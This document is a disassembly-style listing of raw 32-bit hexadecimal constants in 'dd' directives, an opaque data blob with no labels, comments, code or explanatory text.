		dd 0E6F9C7DEh, 5AFE0F14h, 0EFA04BEBh, 0D3398133h, 2857A41Fh
		dd 965648C3h, 0E8111FD0h, 0E2812151h, 0B285844Dh, 8248D910h
		dd 0D9413A6Bh, 14DFE26Ch, 90007C50h, 0C663F1Bh,	4F6A798h
		dd 57AF32F2h, 0BCBCAC92h, 45908C81h, 1BA0D800h,	9718235Ch
		dd 41BA12C7h, 0ACA8B1AAh, 4674A081h, 0FC86006Fh, 0E64C6B7Ch
		dd 0D16302F8h, 70333C5Eh, 234E385Eh, 0E0F94DEAh, 95B8C065h
		dd 1E919817h, 61B83381h, 27C2DDEh, 8F9ABCDAh, 448E80FCh
		dd 0BEED5909h, 0B79278h, 0BEE09D58h, 790587B2h,	36ECC8E1h
		dd 656B0482h, 6081E41Ch, 0EF88F4h, 1C8354BCh, 0DE64D2F0h
		dd 0BD886554h, 0C7FB2A00h, 522053DDh, 712B38F3h, 0F112B603h
		dd 7290E2D6h, 2A00FD5Dh, 10F79765h, 4879CEC8h, 0E000B029h
		dd 58960D89h, 3F58CC71h, 8C6EE810h, 73FA3EE8h, 9564D13h
		dd 1FD8F8B5h, 0BF5F7AFCh, 28005E50h, 0E3CF10A3h, 12916FDDh
		dd 5225BA0Dh, 6FCE208h,	443E06F3h, 0A63200A8h, 9FD3476Eh
		dd 1C91EE29h, 0D8B74B00h, 0B00F266Fh, 17FE0FBh,	3710032Bh
		dd 0A5F50A2Ah, 0E4B8C529h, 838C606Eh, 704B0987h, 0B47ADF9Bh
		dd 5C67E50Ah, 0A11CFC2Dh, 0C2C5E000h, 5F0FD213h, 0C04CDBA3h
		dd 0DD049097h, 0A291AB1h, 90D98944h, 0BC3B9100h, 3901C38Dh
		dd 0A105D06Ch, 0A1A6DE65h, 0B46E2B54h, 241F3302h, 0AC7E16F3h
		dd 9700AC21h, 0AE360AFDh, 0DBA31357h, 6DAC0A42h, 6897A7E8h
		dd 23857991h, 0CA9408DEh, 1890FB92h, 0F25DF2E8h, 0F8BE7A83h
		dd 5119C08Eh, 2DF8E270h, 5A697C00h, 0DFA317A8h,	0CAC80257h
		dd 767531FBh, 7ED1F8F9h, 0E246518h, 0E8001FC3h,	9023CDF8h
		dd 310128BAh, 0A017B5A8h, 50846E91h, 4457822Fh,	60409076h
		dd 0A9D083h, 5E48E542h,	0B59A630Fh, 50D0FB5Bh, 5CF5F0h
		dd 9578DCAFh, 318DBA68h, 981C4D28h, 20C214E5h, 0DFD09071h
		dd 2561CF26h, 0A8CC3DE0h, 0B5002774h, 935CAD71h, 74D4EAEEh
		dd 4B42067Eh, 711A0957h, 60DF653Eh, 8C0BDCD9h, 57360E0Dh
		dd 0D6EBCD11h, 22FDB403h, 65906107h, 5405696h, 0F1A51336h
		dd 8FBA9841h, 201632C9h, 82060B0Ah, 540C4A2h, 9844304h
		dd 0A991D211h, 0E34094CFh, 4B5DD43h, 8F7ADF2Ch,	0CFF0A4C2h
		dd 0F84DFB2Ch, 0FC8D9092h, 1069EDDDh, 6D446502h, 9EE05AD4h
		dd 0B52C9D1Eh, 0F5079BC1h, 0FBF1A72Dh, 88388277h, 854314ECh
		dd 0FB702A00h, 891B97CAh, 0A558D300h, 45017C21h, 40A7086h
		dd 22C33738h, 5060CC2Fh, 95ADF200h, 108F1965h, 5EA0BCFFh
		dd 5B1F6C46h, 6BA7807Ah, 0C064A3DEh, 6690A600h,	29DBAEF6h
		dd 1112844h, 0CCCE01E4h, 0B1589783h, 4364EDE3h,	0F9C034DCh
		dd 82153789h, 1FA85FAFh, 529FC2DAh, 5884064h, 0C010A541h
		dd 0B005274h, 99DFF66h,	1144E83Bh, 7DDE86h, 0A8E1F876h
		dd 0B2D6A2h, 7E918B04h,	112756A7h, 4C26C899h, 280D5912h
		dd 56E03974h, 6ABE1F65h, 0C8F716CEh, 3C84A438h,	0E48044DEh
		dd 8ACC15A8h, 0B475F8DCh, 465EF094h, 0F7CF017Eh, 6AC6A50Ch
		dd 0CC449C2Bh, 64F4B613h, 0EB0084E2h, 5A754328h, 5F002ED3h
		dd 0F1FD61EEh, 2F52A958h, 84B55D13h, 90CBC580h,	8874BE8Fh
		dd 0F9F08E24h, 0AF6091BDh, 36136608h, 803A20C1h, 0C1007823h
		dd 8ED24E68h, 7489250Dh, 0CD79E071h, 99012018h,	828C1C3Eh
		dd 0EC52CB5Eh, 57972379h, 79780EC3h, 2CC39605h,	7C16C290h
		dd 350028B2h, 0B9D5A0DDh, 4B798C07h, 0BE36FD00h, 0DF2453B1h
		dd 0D084484Eh, 18C18F8h, 0CC41E0CDh, 20649099h,	5007288h
		dd 0D9223E01h, 0E8925742h, 0DE0E0F5Dh, 9B0996ACh, 17816831h
		dd 6EED61F0h, 3D64004Ch, 0A83407Ch, 25ECAEBCh, 172F9893h
		dd 801F9108h, 0C2E13063h, 508A29FBh, 84CBD024h,	59D60086h
		dd 254C69FDh, 0C0A83AEEh, 0B00C36Fh, 60D226ADh,	59FBBEDDh
		dd 705430E9h, 0D1DC8880h, 0CC3BFF00h, 0D5A4B1F6h, 577E0445h
		dd 0A20AF562h, 925600E0h, 9B58AE34h, 0D29609CFh, 7C5CC383h
		dd 68E600DCh, 2A4D9E8Dh, 522C2EC2h, 8C115C0Eh, 0B6416B00h
		dd 0CBD4C38Eh, 7ACC829Fh, 9C042B9Eh, 0BA134059h, 98ED88AFh
		dd 0B0A07FB8h, 8FEE000Ch, 26E43E02h, 13002762h,	7145D1E5h
		dd 0DE7896h, 0ED93CC2Bh, 16D3D759h, 309DDC31h, 3980914Dh
		dd 67ECC81Fh, 9C008CB8h, 0EF735974h, 1FF50552h,	0C3AEFB39h
		dd 23284ACEh, 2B403060h, 15B124h, 8969B3B5h, 0AEE99645h
		dd 657D3C18h, 7D7C359h,	58AFACD1h, 896C10ABh, 29C092A5h
		dd 8716D5FBh, 31E600D8h, 161118Bh, 9C776A68h, 0EAAEBD10h
		dd 891D4B3Eh, 20133Eh, 8DAA688Bh, 2A06E552h, 4963FE9h
		dd 229D3971h, 8BDB01F2h, 8361078Ah, 0F4088CFAh,	1C4203Fh
		dd 4FFB22ECh, 806B4CD7h, 84E88339h, 765FD80h, 0EBB8644Bh
		dd 0E768708Ah, 53323A8h, 0C008610Ch, 666F7Eh, 0B930D3Ah
		dd 431C3BE6h, 9C9AF500h, 0B311B102h, 0F42C7777h, 38B0E9AFh
		dd 133A34B8h, 3264E700h, 456EE077h, 771EFE9Ch, 26BE00F6h
		dd 0B13415DFh, 0ED769B83h, 2D561C00h, 9E22BC8Ah, 0B169634Bh
		dd 53F1141Eh, 0F69870ACh, 0D0453107h, 99A0E64Ah, 0C5F5E2EEh
		dd 40216AF1h, 3B689BD8h, 7C000DCAh, 0DE93F879h,	36087Fh
		dd 0F7F5F235h, 0E3B5BB9Bh, 0AA3C6400h, 0B8B6727Bh, 0D3F2B7h
		dd 1D9C1494h, 0AB7D3A6Bh, 9D0C0DE4h, 61316A1Bh,	0E9690737h
		dd 0B33E075Dh, 190E3A8Eh, 40F77D9Ch, 5A583CD4h,	590329FFh
		dd 80D0D504h, 6A7203D7h, 0E9B75260h, 41F81904h,	0FAC02E26h
		dd 0E8CE50Ah, 79D2D00Ch, 96536CA0h, 550F7780h, 83930614h
		dd 0E070160Dh, 0D8258Bh, 0B08C1587h, 76EBF5CDh,	8F07A3F2h
		dd 0F87C2A39h, 4A5AE5A0h, 7F49280Ch, 0A2FE0344h, 0A779C27Bh
		dd 0CF0158E6h, 9C897097h, 0DEE0132Ch, 6D460708h, 2F9917h
		dd 8974A1DAh, 21C0B330h, 0E09812AAh, 598662B7h,	2DC3B869h
		dd 0F58129A0h, 527CFA05h, 80119DDh, 5F9CFB07h, 8448A7FDh
		dd 55F226B5h, 0F6C207DCh, 0F954369Ah, 9283A500h, 59EE7E5Dh
		dd 25D30023h, 0F43BE296h, 0ED03A6A4h, 18CB525Ch, 55610FB4h
		dd 7DA1A7CEh, 8695C2D7h, 4FEB720h, 0F2F10EA0h, 8F60803Ch
		dd 7B962777h, 0C013FB00h, 0E0A853FAh, 44F600DEh, 7AEDA09Eh
		dd 360710B8h, 7CEA266Bh, 800A091Bh, 440BD0C1h, 1E3F972h
		dd 2BA2E018h, 5ED8C885h, 5C631120h, 0DF791Eh, 0A39F7A39h
		dd 3FE8BA38h, 0DE0FB172h, 807F35DDh, 9DB527D3h,	8F2A0FD0h
		dd 0B86328E4h, 3847E393h, 0E9816720h, 1410EE04h, 0E6E27280h
		dd 2F3EAA2Bh, 959D001Ah, 0D233F8CAh, 7CE2A4h, 1B70CDEh
		dd 4734DBFBh, 389FA015h, 0F9086334h, 56C07DBCh,	3EE48052h
		dd 0B59800A0h, 6FF544Fh, 2EFB0E25h, 0E5C97864h,	0B70EC43Fh
		dd 5710189Ch, 1CBC4871h, 0B2BA0079h, 0E0B1AFC3h, 4B806061h
		dd 7898FAA9h, 29BA6457h, 623D21CEh, 0CC117F12h,	2284E208h
		dd 53421F1Ah, 1177FE11h, 6311BDB6h, 8A7211Eh, 0CA947517h
		dd 3B447428h, 7242845Bh, 1EB35E10h, 0F9005A44h,	8C4893B5h
		dd 0E6060066h, 1D87E10Dh, 3700595Dh, 729AE98Ah,	0D36A88h
		dd 73ADAD5h, 0BFD85243h, 4CCABA00h, 0F02E76F3h,	461200A8h
		dd 0DF0C64B7h, 0CE0026C2h, 0EC5DD451h, 7519B4h,	1767A7A5h
		dd 231DE9CAh, 82E1FD05h, 30C6B9EAh, 0D5710120h,	1AF4C8F7h
		dd 0A41CC20h, 281D4700h, 43DB0124h, 0DE9D00D8h,	44B1C093h
		dd 2F391006h, 59F90002h
		dd 8FAD42BCh, 0C7B09h, 0B0755B2Dh, 181A86E5h, 6AE8B1Ch
		dd 0ECA36F0Ah, 0C11BF000h, 0ECC8CDh, 0A4599E7Dh, 0E5FB928Fh
		dd 2C8BC600h, 3AF92E07h, 897800CFh, 1BC4A29Eh, 0C600D2CEh
		dd 0F33E04B9h, 1DE86D4Ah, 0C02119F5h, 52682EEFh, 6300AA7Dh
		dd 5F1FF6CCh, 322A95D5h, 3438D313h, 0C3A02E43h,	0FA01617Dh
		dd 101162EAh, 0A0800BD7h, 0F723A4FCh, 21003282h, 0D4246C41h
		dd 0CB9525h, 632F40C6h,	0EA02511Fh, 37CEED00h, 0A1E8FD9h
		dd 115E12FAh, 0E1640A54h, 324FC0h, 0FE22A999h, 374A3EAh
		dd 0AC4C00Eh, 463260EBh, 1C908ADBh, 80B88CB5h, 0B03B42FFh
		dd 2700D85Eh, 1AF79B3Eh, 0C7F77h, 86D159F3h, 0C9C72175h
		dd 8E3AAF00h, 9A5DC36h,	9ED2141Bh, 5400AC7Bh, 95CE6A91h
		dd 2E003401h, 0F99F1E48h, 2DF3B9h, 4FD099DFh, 58E71C18h
		dd 63430E00h, 6D5228A7h, 0E4697473h, 0D19D00D4h, 0B6BAEA5Bh
		dd 0A100A29Fh, 27485D65h, 24FA09A9h, 80DCE401h,	7C28C630h
		dd 6800B79Fh, 0A1672E9Eh, 28F078BAh, 0C8FCC7h, 1F4C3B50h
		dd 79FFD622h, 5273A1Ah,	85368040h, 3E323Fh, 50D122AAh
		dd 0CFE6F1DCh, 82980450h, 0ED5F6400h, 0D0BB9C67h, 63342899h
		dd 151C01DCh, 250490B5h, 64C8CCB4h, 2EAA6F00h, 189483FFh
		dd 0B8A8A355h, 8075E4h,	82C81132h, 8A953961h, 9D82C00h
		dd 0F6BAC61Fh, 6C210030h, 6131B242h, 0D9001138h, 16BDD717h
		dd 3DCF4C19h, 0C7800AC8h, 0D454AF2Eh, 9EEA9887h, 8C9CE400h
		dd 46255390h, 0A57B0084h, 380737B8h, 5600992Fh,	4682028h
		dd 0A7FE33h, 0F45FB126h, 0AFCA7188h, 11B9E000h,	319B8144h
		dd 2C610F3Ch, 43E17CF6h, 4050CD28h, 45C1B3B4h, 7D00E27Eh
		dd 0AF0315F3h, 7988660h, 0E3379261h, 18B2B1D1h,	81798009h
		dd 0F70E88AEh, 5FDC0025h, 0EB5055A6h, 8B02B25Bh, 0CA2829C5h
		dd 223560B9h, 308013F4h, 0AC020049h, 0E15AC15Ch, 0BEBCC950h
		dd 0ADBD8F28h, 6F1FAE00h, 87450B49h, 0C3AC0ABCh, 79C7C4Bh
		dd 30AAB6BFh, 6D57A524h, 0ECFFC500h, 9EE32D7Bh,	3D080E32h
		dd 0C0DC05A2h, 0E284CFB1h, 28909A81h, 49D2A422h, 0BF00A00Bh
		dd 14E6E35Ch, 1A0067E1h, 0FBE40FACh, 93C9F68h, 0D9068D8Ch
		dd 0B9860C23h, 8BBFE3E8h, 1C90617Ch, 0B50CAE00h, 2D2E733h
		dd 78E03A3Eh, 1C9C4C60h, 1E1CF461h, 0A88C1043h,	21A107Ch
		dd 0ACAA75B0h, 5C43D2D6h, 0F57678F1h, 22BAC4C5h, 6009AF6h
		dd 11121ED8h, 9060458Ah, 0B25A0008h, 7DC52771h,	0AF909AACh
		dd 0B988B050h, 0A0CEF000h, 0FF1D8154h, 0FB73C0h, 7976AFA1h
		dd 89F0215Dh, 0D249BE26h, 0C4745400h, 502057EEh, 1D688FDh
		dd 457DF853h, 80EB6DA5h, 616224B6h, 49C99B8h, 0DCB82E0h
		dd 6068C7E4h, 5608E66h,	0D4DA9703h, 906B07B7h, 475B24h
		dd 0E833FA68h, 3628A0E0h, 9AB99B01h, 0C8AF5392h, 0DA228C40h
		dd 0F549AFFh, 33D9407Dh, 0B096944Ch, 19E0C300h,	6E710E7Ch
		dd 58684D09h, 639BAA00h, 0D3D6C4B8h, 0CC3D4000h, 955B8E0Dh
		dd 7E2000E3h, 569390Ch,	63005879h, 4CF4E69Ch, 31F62h, 0E5AC2E11h
		dd 4807B570h, 0C526E4F2h, 351224AFh, 0CDC3AD12h, 861CC00Eh
		dd 479D0F80h, 2120B30Dh, 51C5A744h, 579EEF00h, 602EFAF2h
		dd 94B80EFBh, 0F4EEDA36h, 3F93B80h, 0A500D8C7h,	5CA2D21Dh
		dd 19FF6D3h, 961CB226h,	0CDE561BDh, 3CC0FEE8h, 6E38E090h
		dd 0ED719DACh, 55EFD5C0h, 75C00ABAh, 0B358009Fh, 42AB4CBEh
		dd 70F96E86h, 0D8F7B97Eh, 82039620h, 89E3B107h,	2286F060h
		dd 31BF18EEh, 4C35EECCh, 0D071F105h, 0F40707D4h, 4AA04822h
		dd 3B82C149h, 0F0802BC7h, 0A49C7D75h, 3600EDE0h, 0E981A5Ch
		dd 0F729EFEh, 0E30A2C92h, 3B7BC01Fh, 8F405B67h,	167CF202h
		dd 7E1EB06h, 9A8DD02Ah,	0A307528Eh, 0BF88E8ADh,	0D7F0D470h
		dd 0FAC902A4h, 7F10093Ch, 4093E8A7h, 4F98B372h,	0E63EB2F4h
		dd 5603F46Ah, 66BE8810h, 3DD1B09Ah, 9C2900D0h, 452850C6h
		dd 0C200A89Fh, 0FBE22698h, 0C00C2C38h, 191787A1h, 20061D6h
		dd 0E94D47E6h, 4C7E70FAh, 0F100681Ch, 72A225C9h, 237AAB6Ah
		dd 0BD41C117h, 0A7A31700h, 1EF2EDh, 0C0E4F85Ch,	94B6F414h
		dd 0E8C13C00h, 0B4850760h, 0C6776Bh, 0D40A9B09h, 2A3D72D6h
		dd 7C3B3C07h, 0CC30F41Ch, 4CF52DA0h, 8B003452h,	0E63A9E58h
		dd 0AC030BD5h, 0DEBA065Bh, 4F2A99F1h, 0AE29D8h,	4EB070CAh
		dd 0C75AF047h, 8F00C072h, 0FF57747Dh, 2A2C9EDh,	1EC3CA32h
		dd 0A86023D1h, 7B00F301h, 0D3DEEA53h, 0F5F025h,	209AB24Fh
		dd 34075CD9h, 0BCE90A00h, 0D1FD819Bh, 27E71D64h, 0C48840F5h
		dd 0E26B3D07h, 0D898BF00h, 0F17ED6F2h, 0D4DC3F4Fh, 9A289280h
		dd 3C976395h, 479C2100h, 65C21479h, 0A5740E55h,	608750Ch
		dd 1832F603h, 8E05F01Eh, 7E970E8Bh, 0C03E01C7h,	6280BD39h
		dd 84032DEBh, 6A2899Ah,	0B726806Eh, 27E4C03Bh, 7BC424CCh
		dd 34B808EAh, 2CE20724h, 5A3A9605h, 0CBB0880h, 41CE0012h
		dd 0DD3D30BCh, 0F490AB67h, 0DF683305h, 18C33E86h, 32F4F987h
		dd 102858FDh, 661E820Eh, 8F923FE0h, 0D400E04Eh,	0F7380360h
		dd 0E6811683h, 73EA0001h, 0E95270B6h, 8C3C3125h, 85AE853Bh
		dd 4F803DA2h, 3AD06D08h, 6000929Eh, 80E28A0Eh, 0EB073457h
		dd 3FAF88F6h, 28A4E09Fh, 3614424h, 7B672D89h, 3B0ED6Eh
		dd 0F9001CF6h, 3C9358DBh, 263FE05h, 986817CDh, 8B605401h
		dd 260F46A8h, 20C521CFh, 0CA6A9320h, 0E3C400AAh, 127D897Eh
		dd 4614FDF6h, 80B4940Eh, 86BE7B16h, 2EEA0063h, 9A9FE136h
		dd 0D478131Ah, 64B7A801h, 298E0368h, 0EE7C1C28h, 568B0F0Fh
		dd 4FE7D5DDh, 0BF5C7098h, 2200E727h, 29F35B7Ch,	650233h
		dd 0F9A57652h, 0B192323Dh, 7BE88400h, 1ABB81AFh, 0B29D5CC1h
		dd 4D6A700h, 56FE9F7Dh,	4AD0FF00h, 8DC66647h, 0B0817531h
		dd 5A971678h, 75BC0B11h, 98D5D480h, 8E162319h, 0D0401AABh
		dd 0FCB8F2F7h, 0BDAC00BEh, 0A6D81420h, 8A00E25Fh, 0D76F59B9h
		dd 5DA5527Ch, 5B030CA8h, 58C9E0F8h, 4C728D0h, 7B85ED00h
		dd 4722F462h, 9DEFA6Eh,	3A932B6Fh, 918C1D02h, 2F0618E0h
		dd 0A792B300h, 0FE6D3D28h, 3CBF18FAh, 0E9FD99D8h, 47D5B300h
		dd 70A43DC6h, 9FC80032h, 0A30D34A2h, 0E707D60Eh, 63F3EE8Eh
		dd 34E0AC44h, 0B9751C44h, 0B40C0DAh, 224B6C7Eh,	3DD2490Eh
		dd 0E6ADC0D8h, 14548F2h, 6291B06Dh, 0BE7B1412h,	3F6580ECh
		dd 0F352F1D9h, 4CCA7F7Ah, 4059C4Eh, 0D003CFDFh,	0D82C9140h
		dd 843DE00h, 0BCBF554Eh, 0B4471C57h, 0CC7AC0C3h, 100BABE3h
		dd 6BA5CF26h, 8E39402Ch, 0BE229DACh, 569C2740h,	3EF6E2h
		dd 5BE44D55h, 0D0EAB172h, 63A98600h, 3D755F4Eh,	1DCB03D5h
		dd 0B9F964CCh, 3AC708D8h, 90B23024h, 49A56B00h,	7F2115A2h
		dd 84A8161Fh, 405C4114h, 0E885BA9Dh, 0F60F6A65h, 808E3309h
		dd 52C902C2h, 8250023h,	0DD0DF3D1h, 4600794Dh, 0FB59614Ah
		dd 14A5ACD0h, 0AC5DD2F1h, 57F71802h, 18E4911Eh,	7A7BDA0Bh
		dd 0F7E28F34h, 99B95020h, 0F4F8B704h, 8C92B179h, 5E9BF500h
		dd 0CACE70A6h, 762098Ah, 90004EBFh, 26DEB0D8h, 1A5AC701h
		dd 246D7DA1h, 4400102Ch, 0F750568Ah, 6E02A275h,	0E0480C9Bh
		dd 0C15442CEh, 0D1D0B172h, 0B21D00FEh, 8762C35Fh, 0E500B680h
		dd 5D7B8A3Ah, 7DF913Dh,	320B270Ah, 0F7BF95h, 59D7C640h
		dd 0B448A690h
		dd 80F13B90h, 8E813EAFh, 0F3779FEh, 0BB8B95E2h,	0DFD8B9A0h
		dd 0A60252D6h, 9352EDEh, 8A384882h, 0B697008Eh,	0E75FB48Bh
		dd 2B24ADBFh, 9A801408h, 0E6E2A7A2h, 0F62F3C23h, 3C242A02h
		dd 2C404F6Eh, 0D1001D64h, 9109BEE1h, 7FAFEA47h,	88C50532h
		dd 802223CEh, 190C9058h, 0A9EF2F06h, 26C06116h,	0D2277Ch
		dd 6F202264h, 0DB00B4FBh, 6D5717D8h, 78C129h, 0BA9EF6D2h
		dd 0A2B0BF96h, 4407C472h, 941EAD4h, 0B74F8B21h,	0E08080F2h
		dd 9456FAh, 92FDE260h, 23BC44B4h, 0A3C8EC00h, 0B990E7CAh
		dd 1C3E00Bh, 0BEEE17D6h, 0C4A577FEh, 0E2009A61h, 6DEF9178h
		dd 238B65h, 73CAAB48h, 4EE85168h, 78B5D705h, 9C40FB89h
		dd 83932138h, 0E4A10FA8h, 5EA21AF6h, 645854ABh,	0C5C239h
		dd 0A466D794h, 0F05812h, 63C68E26h, 9376FEB6h, 0E3358500h
		dd 194B2204h, 6232000Dh, 0C81FD1A2h, 9400646Ch,	12ECD867h
		dd 12638AACh, 8E73BB8Fh, 6F7C0070h, 8361AEFAh, 0E3AC011Fh
		dd 94C5A8F7h, 0E2C56095h, 1080B400h, 4251CFB9h,	28FD4861h
		dd 0AF0E0575h, 353F9E8h, 5F0A31CCh, 122430F8h, 1F70EA4Ch
		dd 391E8F2Ch, 0A9194043h, 0BD82805Ah, 0AEF90F6Eh, 0DAA7D517h
		dd 2B77E7F5h, 0F5E8000h, 0A8003FD1h, 0E27723Ah,	0F5A72Ch
		dd 0C4F2D633h, 90B7D5A5h, 389A5E3Ch, 3EB9802Fh,	2D36CDB1h
		dd 533800DBh, 31934191h, 0E500ABA0h, 0D8FF1C08h, 0EE445Ah
		dd 4CC9C4CBh, 8BC06049h, 3CF9350Eh, 0AA78A07Fh,	3A7ED971h
		dd 6E80CA44h, 74895051h, 0D11460BCh, 1E0F11Bh, 0E4320118h
		dd 56E08188h, 7ED824FBh, 0BB00083h, 6325223Bh, 39377701h
		dd 0D0B7F3C4h, 0F260860h, 575ED643h, 0C2922540h, 0AB0A4267h
		dd 0E0362D79h, 28403102h, 4ADC616Dh, 1297A4E8h,	452153h
		dd 1C99B013h, 8E07C4ADh, 703848B4h, 41D8AA70h, 9BAC0A82h
		dd 0E8280EEh, 35022A96h, 0CE61781Dh, 0AA52C497h, 160665Ch
		dd 0B07DE0E9h, 21CC1EC7h, 532424D1h, 0EFD200F0h, 5A013C7Ch
		dd 0C59F9C13h, 4AAF0Fh,	69416DEEh, 44580020h, 0B71EE0BFh
		dd 5B608BA6h, 0AFC50910h, 0C7730185h, 0B2F9CC4Fh, 0BDF7F07Bh
		dd 0E5323F16h, 0C092E000h, 0F3FFC6h, 5881035Ch,	0B31B5577h
		dd 0E8B8EC13h, 0FCD03C12h, 56E0D6h, 3634F209h, 3990B0E9h
		dd 1F003577h, 7A830103h, 4278257h, 0A9A5FAC6h, 0B0875Eh
		dd 7946BFDFh, 0D92C5C00h, 22A2C32Bh, 0C93B00DDh, 4FEB11A1h
		dd 0B7395E36h, 99DC1C6Ch, 17132D40h, 4D43FC1Eh,	3D016C86h
		dd 572C2AF2h, 0C0D83041h, 2005BB27h, 6A01B0E4h,	8BE21209h
		dd 7780009Dh, 93F9A744h, 0AF067303h, 0FBB4626Eh, 66F5A028h
		dd 60A91F88h, 0F029407Ah, 0BB790CBAh, 26D72101h, 2F73A53Dh
		dd 0A0F4C3F6h, 3F9B8010h, 7981F5DBh, 2A26CE53h,	2BDFE808h
		dd 977F3E02h, 0E0E30260h, 0DD2494h, 0D5938B7Ah,	0C54F5D20h
		dd 8AEA0700h, 0BC971F88h, 81AC0E66h, 8C605E6Fh,	0A1721C1Bh
		dd 0EA9C6D00h, 0BDE714B3h, 0ED290073h, 7F90046Fh, 0F600E523h
		dd 83EF0836h, 0B93D60h,	0A7251767h, 0C92A76B7h,	0AB24A00Eh
		dd 624DE073h, 2E0F08h, 0AE01E252h, 41555D27h, 8400365Eh
		dd 9EA0B34h, 388000E5h,	9637565Ch, 0B71FD1DDh, 27406D0Dh
		dd 430A3ABAh, 80BB0078h, 0F74ACDC5h, 0A8004272h, 1BFBEA6Eh
		dd 0ADE6723h, 4C62983Fh, 0CF3C04CCh, 21C28D2h, 0CDDB0CBDh
		dd 9CE03A07h, 0A61F555Fh, 3054D0Fh, 0E4C04097h,	0B3C0635h
		dd 0F7823A61h, 0EA910800h, 7312441Bh, 6C006220h, 42E1980Fh
		dd 2B9A0066h, 3D6EA631h, 5B2C59ABh, 0EF00989Ch,	0E56C5309h
		dd 51432CE1h, 295A0F9Bh, 878DFCE0h, 9F0EE807h, 123A65Fh
		dd 0E70E30E3h, 75FE8BF4h, 60850F90h, 9C20E29Bh,	0B087D4C7h
		dd 0B4009E71h, 613B8FFBh, 9C089E8h, 554AE66Ah, 0BCF9DC60h
		dd 0EDE92400h, 3860ADFBh, 0EE1200B6h, 97FF7E92h, 0E4005C5Bh
		dd 6A5907BEh, 28194718h, 4CC505AAh, 2B001553h, 0EC7E91E3h
		dd 54009460h, 0CEA9F7C5h, 1525AB41h, 0E056BCD4h, 900ACF02h
		dd 0B460BEF2h, 182CA855h, 0FD804CD3h, 0E1EA3483h, 9C9B0796h
		dd 0D008598Fh, 0B53F6BBCh, 20D2A700h, 13A257A5h, 0DA430149h
		dd 85DBD6C2h, 59B47495h, 8D3DD00h, 4FBB65D2h, 747574D0h
		dd 7CBC0C52h, 0D68955C3h, 869BB400h, 7DA37E3Ch,	9E70E924h
		dd 3EDF1236h, 82E88009h, 7A035E2Eh, 7405F518h, 0D0DCA108h
		dd 76096D3h, 13C7766Eh,	0A29BA006h, 5D7CCE58h, 48948428h
		dd 0DE603271h, 0F5F07450h, 7DCB00D6h, 7BA251E0h, 0AE787E54h
		dd 3FDF3914h, 9984143Ch, 0E0D10120h, 0E8D4FDE7h, 217894D2h
		dd 3000093Bh, 9AB127C3h, 0C3C3996h, 5BD7F80h, 0BF2CD5D9h
		dd 0CB469E00h, 10F3DE6Bh, 93560006h, 60E3A4C2h,	290059F8h
		dd 0E6DBF712h, 106AEE7h, 0FE020E33h, 0C03F4727h, 1E017774h
		dd 68AD9D41h, 0B2300111h, 0D2500028h, 0D75CF27Dh, 31302F7Ch
		dd 0BCCDA14Dh, 1EED0320h, 3D88BAAAh, 0EBF61DA8h, 3101047Bh
		dd 0B947EC16h, 3097F7B1h, 7CFB85Ah, 55CCCBDAh, 0A014D572h
		dd 3EEE6C8Ch, 0BE9A0124h, 51E4D947h, 0FBE8E7B1h, 25003805h
		dd 9B7F0EC0h, 17C0855h,	0FCF89DC5h, 8E59DB03h, 283A91h
		dd 0AF5C9BA2h, 694C0225h, 7048C1CCh, 0DA40345Ch, 0B47CA7h
		dd 58576535h, 0CED7D9B3h, 0CC1EDEE4h, 0E3434B78h, 3513123h
		dd 63A04159h, 0E7A8BCA8h, 7A3048FBh, 0B8235102h, 79648039h
		dd 0B9265F0Ah, 0D568384Bh, 3E74BA04h, 0E8283480h, 6D07009Ch
		dd 0D66B5D70h, 9E007E1Bh, 0ADAF0154h, 0F7C04FDh, 0C3FF55AEh
		dd 0ADD30A24h, 395F3D30h, 0D5C4D2h, 0BED82736h,	0B1B81691h
		dd 23B8A44h, 0D7EE07CBh, 8C484F9Ch, 0A800BB38h,	0F65318FAh
		dd 3A0420h, 253B855Dh, 0A9A2FE88h, 304A5C0Ch, 9A78FCh
		dd 0D95575FFh, 5D61BEE5h, 0FA9DBF00h, 37DB50C5h, 0B07CD1h
		dd 0D81582CDh, 0C9F32A9Eh, 8F0AA516h, 36105319h, 30160448h
		dd 0ED109C34h, 0EF395D60h, 64A40038h, 0CB517481h, 0BBFA00B7h
		dd 0E9923A43h, 0BA133EBEh, 630339E8h, 0C021B693h, 165118FEh
		dd 479CEE49h, 40A8B101h, 7E821019h, 0C4229803h,	0B8380D2Ah
		dd 0FEDD45h, 6CEAA84h, 0ACB9137Bh, 64A25C07h, 402FF6BFh
		dd 0F3D7E0A1h, 69B80089h, 82368024h, 0F900653Dh, 0F0E9AA09h
		dd 290220h, 26174677h, 7E0BE6DFh, 673EA6A0h, 4FF11300h
		dd 120F5431h, 0A1A30137h, 457F011Eh, 3018FDFEh,	527FED3Eh
		dd 19410C00h, 0AB0274CFh, 0B4A238C9h, 1E25C602h, 98605CDBh
		dd 65008249h, 809B3820h, 0EEC89F8Bh, 0FA1700BAh, 9C28186Dh
		dd 0F40F90F2h, 2580492Eh, 5480CCFCh, 71C43B6Eh,	1051C36h
		dd 3A9B00D9h, 0C6637553h, 0EB3F370Ah, 0C545D06Ch, 4F749440h
		dd 7A8D5F5Eh, 0F6C000F4h, 22AFA8C2h, 0BD00473Bh, 15F2C459h
		dd 52D155E8h, 1A3BEC56h, 0E69EA180h, 92E480D4h,	0C1651F1Fh
		dd 979FC000h, 1C893CE3h, 0C071B9D9h, 0FAE44204h, 0F9004D73h
		dd 1CDB5DB8h, 0D74990h,	0E3A75991h, 0CB80EFD5h,	99D06D00h
		dd 0BD7D1254h, 0C0709878h, 46E12C11h, 2500FE19h, 14582D3Eh
		dd 357697h, 0E9FB1D9h, 3A2AADD5h, 0A26C2C0Eh, 0B56200C4h
		dd 0C2177h, 0FD95D8ACh,	9486EF2Bh, 98294E00h, 4B07053Ah
		dd 69F3002Fh, 0F4518D53h, 817E3655h, 0D082C400h, 5FE59FA2h
		dd 74D25484h, 0DFB88Eh,	56E3A60Dh, 0E4CEE62Fh, 80B79C3Fh
		dd 0F0789FDh, 1EBFAB40h
		dd 0C05EC694h, 0C8A8A06Fh, 26006190h, 0BD040193h, 0B16410h
		dd 6CF605Eh, 0F9A35B80h, 6FE64C00h, 1CAAE469h, 0C8EE03h
		dd 5EF09877h, 55E088D2h, 0DC181E05h, 0F40476EDh, 0B8910CF4h
		dd 4061C3A8h, 421260h, 6F619695h, 0E8E3D6B0h, 0D866870Ah
		dd 7C0EF020h, 0E9D9E4E2h, 0B8945081h, 0B4B824h,	9B419627h
		dd 0EEC02CDEh, 23085E00h, 0A63C4FFDh, 1F2492B9h, 0D231D0A2h
